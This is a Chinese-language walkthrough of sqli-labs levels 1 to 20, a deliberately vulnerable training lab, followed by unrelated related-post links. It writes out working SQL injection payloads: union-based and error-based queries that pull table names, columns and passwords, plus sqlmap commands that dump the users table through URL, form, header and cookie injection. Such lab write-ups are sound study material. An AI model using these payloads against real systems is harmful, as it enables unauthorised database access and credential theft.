sqli-labs 1-20实验记录
1. less1
首先输入?id=1 查找是否有注入点.
输入单引号 回显报错 说明有注入漏洞 而且是数字型
输入 1’ or 1=1 order by 1 猜测列名#
这里发现#不能变成url编码 查一下 应该是%23
http://localhost/sqli-labs-master/Less-1/?id=1%27%20or%201=1%20order%20by%201%20#
在order by 4 的时候报错,说明select语句应该有三列.
然后获取当前数据库:
1’ or 1=1 union select 1,2,database() %23
但是后来知道 这里无论怎样返回的都是第一列的结果,所以把id=1改成id=0再注入
所以可以知道当前数据库的名称是 security
然后获取当前数据库中的表:
0' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database(),3 %27
可以看到 表名有 emails,refers,uagents,users 接下来就是获取users中的字段
0' union select 1,2,group_concat(column_name)from information_schema.columns where table_name ='users' %23
表中的字段有 id,username,password
之后获取我们感兴趣的字段的内容:
第一道题目完成.
2. less2
这道题是数字型注入:
所以和第一道题类似,不需要加单引号就可以。
获取当前数据库0 union select 1,2,database() %23
然后获取表:
0 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() %23
然后获取字段:
0 union select 1,2,group_concat(column_name)from information_schema.columns where table_name = 'users' %23
然后获取内容:
0 union select 1,2,group_concat(password) from users %23
第二道题完成。
3. less3
看回显报错 代码中 id 应该是 id =(‘$id’)
0') union select 1,2,3 %23实验一下是不是这么构造:
成功 所以接下来像前三关一样获取当前数据库,表,字段,内容就可以了.
第三题完成
4. less4
发现输入单引号 没有报错 输入双引号:
所以和上一个很像,应该用”)拼凑就可以了。
试一下 还是 union select 1,2,3 %23
成功了。
之后还是老方法,获取数据库,表,字段,内容
第四道题目完成.
5. less5
本关用前面的方法都无法注入回显,因为代码中不显示内容。所以需要利用基于错误的语句来注入。
http://localhost/sqli/Less-5/?id=1'and(select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password)fromuserslimit0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) --+
这里需要不停的刷新 直到显示出来为止。
6. less6
和第五道题类似,但是需要把单引号改成双引号:
http://localhost/sqli/Less-6/?id=1" and (select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) --+
7. less7
首先构造能够注入的语句, 发现是 id=1’))类型。
这里题目应该是导出文件:
但是上网搜了之后 用输出文件的语句 发现不行 只好用sqlmap了。。。
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1
之后获取当前数据库名称:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 --current-db
之后获取表:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 -D security --tables
然后获取users中的字段:
-u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 -D security -T users --columns
最后获取password内容:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 -D security -T users -C password --dump
第7关完成
8. less8
在这一题,数据库的错误不再回显到页面上,但是我们可以发现当我们构造异常查询时,页面上的you are in会消失,这就是典型的布尔盲注
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1
可以看到 要比上一道题复杂的很多 也耗费时间了:
之后获取当前的dbs
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 --current-db
然后获取其中的表:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 -D security --tables
然后获取users中的字段:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 -D security -T users --columns
然后获取password中的内容:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 -D security -T users -C password --dump
第八关完成.
9,10关和第八关类似 都有时间注入 所以用sqlmap跑就可以 ,或者自写python脚本.
11. less11
本关开始有post注入了
需要用到sqlmap中的一个 --form 的语句:
可以获取页面 然后构造需要post的数据:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms --dbs
然后获取当前数据库:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms ---current-db
然后获取表名:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms -D security --tables
然后获取users的字段:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms -D security -T users --columns
最后获取password的内容:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms -D security -T users -C password --dump
12,13,14:less12 less13 less14
这关和上关类似 直接sqlmap一路到底就可以。
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-12/ --forms -D security -T users -C password --dump
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-13/ --forms -D security -T users -C password --dump
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-14/ --forms -D security -T users -C password --dump
15:less15
这关 需要设置更高的 level:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-15/ --forms -D security -T users -C password --dump --level3
更加复杂:
16. less16
第十六关 和第十五关类似:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-16/ --forms -D security -T users -C password --dump --level3
17. less17
第17关尝试 用burp抓包,然后获取整个页面的信息后保存在/root/home/1.txt文件中
然后
sqlmap -r "1.txt" -p passwd --tech E --dbms mysql --batch -v 0
18. Less18
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-18/ --user-agent="Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0*" --level 4 --dbs --threads 10 --technique BEST –batch
19. less19
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-19/ --referer=" http://127.0.0.1/sqli-labs-master/Less-19/*" --level 4 --dbs --threads 10 --technique BEST –batch
20.
cookie注入:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-20/ --cookie="UM_distinctid=16668b878941c2-088ac16771352f-38694646-12c000-16668b878961048" --dbs
sqli-labs 1-20实验记录的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- 实验记录:Oracle redo logfile的resize过程
实验记录:Oracle redo logfile的resize过程. 实验环境:RHEL 6.4 + Oracle 11.2.0.3 单实例 文件系统 实验目的:本实验是修改redo logfile的 ...
- case7 淋巴瘤子类分类实验记录
case7 淋巴瘤子类分类实验记录 简介 分类问题:3分类 (identifying three sub-types of lymphoma: Chronic Lymphocytic Leukemia ...
- 使用Scapy向Mininet交换机注入流量 实验记录
使用Scapy向Mininet交换机注入流量 实验记录 用Python脚本及Scapy库写了一个简单的流量生成脚本,并打算使用该脚本往Mininet中的OpenvSwitch交换机注入流量.拓扑图如下 ...
- “取出数据表中第10条到第20条记录”的sql语句+selecttop用法
1.首先,select top用法: 参考问题 select top n * from和select * from的区别 select * from table -- 取所有数据,返回无序集合 sel ...
- “取出数据表中第10条到第20条记录”的sql语句+select top 使用方法
1.首先.select top使用方法: 參考问题 select top n * from和select * from的差别 select * from table -- 取全部数据.返回无序集合 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SUCTF 2019 Upload labs 2 踩坑记录
SUCTF 2019 Upload labs 2 踩坑记录 题目地址 : https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload La ...
随机推荐
- 解析angularjs中的绑定策略
一.首先回顾一下有哪些绑定策略? 看这个实在是有点抽象了,我们来看具体的实例分析吧! 二.简单的Demo实例 @绑定:传递一个字符串作为属性的值.比如 str : ‘@string’ 控制器中代码部分 ...
- Siebel 开发规范
Siebel Configuration and Development Guideline 1 2 2.1 2.2 2.3 11. 2.4 2.5 3 3.1 3.2 3.2.1 3.2.2 3.3 ...
- 如何禁用 Azure 虚拟机的日期时间同步
问题描述 由于 Azure 虚拟机的特殊性,物理主机会实时同步虚拟机的时间和日期.当有特殊需求时,客户想要停止日期时间的同步,但是一些常见的关闭 NTP 服务等操作都会失败. 解决方案 Importa ...
- 【Python自然语言处理】第一章学习笔记——搜索文本、计数统计和字符串链表
这本书主要是基于Python和一个自然语言工具包(Natural Language Toolkit, NLTK)的开源库进行讲解 NLTK 介绍:NLTK是一个构建Python程序以处理人类语言数据的 ...
- day013-流
1. 常用函数式接口 1.1 Predicate接口 有时候我们需要对某种的数据进行判断,从而得到一个boolean值结果.这时可以使用java.util.function.Predicate< ...
- php入门到精通(复习笔记)
第一章:php语言基础 1,标记风格: ①<?php echo “hello”;?> ②<script language="php">echo " ...
- [原]Machine Learing 入门 —— 开门第0篇
一.最近懒了 7月没怎么写博客,倒是一直在学Machine Learning的入门知识,在这里给大家推荐一个不错的自学网站:https://www.coursera.org/ ,Andrew Ng是联 ...
- 另一种方式实现事务码SE16里的结果集修改
注: 这种方法不同于网上流传的在调试器里修改fcode的那种解决方案. 使用场景:我们需要直接在开发系统的事务码SE16里修改某些结果集的值,但是在SE16的工具栏里看不见修改按钮: 解决方案 使用/ ...
- linux下vi的一些简单的操作
前言 在嵌入式linux开发中,进行需要修改一下配置文件之类的,必须使用vi,因此,熟悉 vi 的一些基本操作,有助于提高工作效率. 一,模式 vi编辑器有3种模式:命令模式.输入模式.末行模式.掌握 ...
- MyBatis的settings设置描述
settings 中的设置是非常关键的,它们会改变 MyBatis 的运行时行为.下表描述了设置中各项的意图.默认值等. 设置参数 描述 有效值 默认值 cacheEnabled 该配置影响的所有映射 ...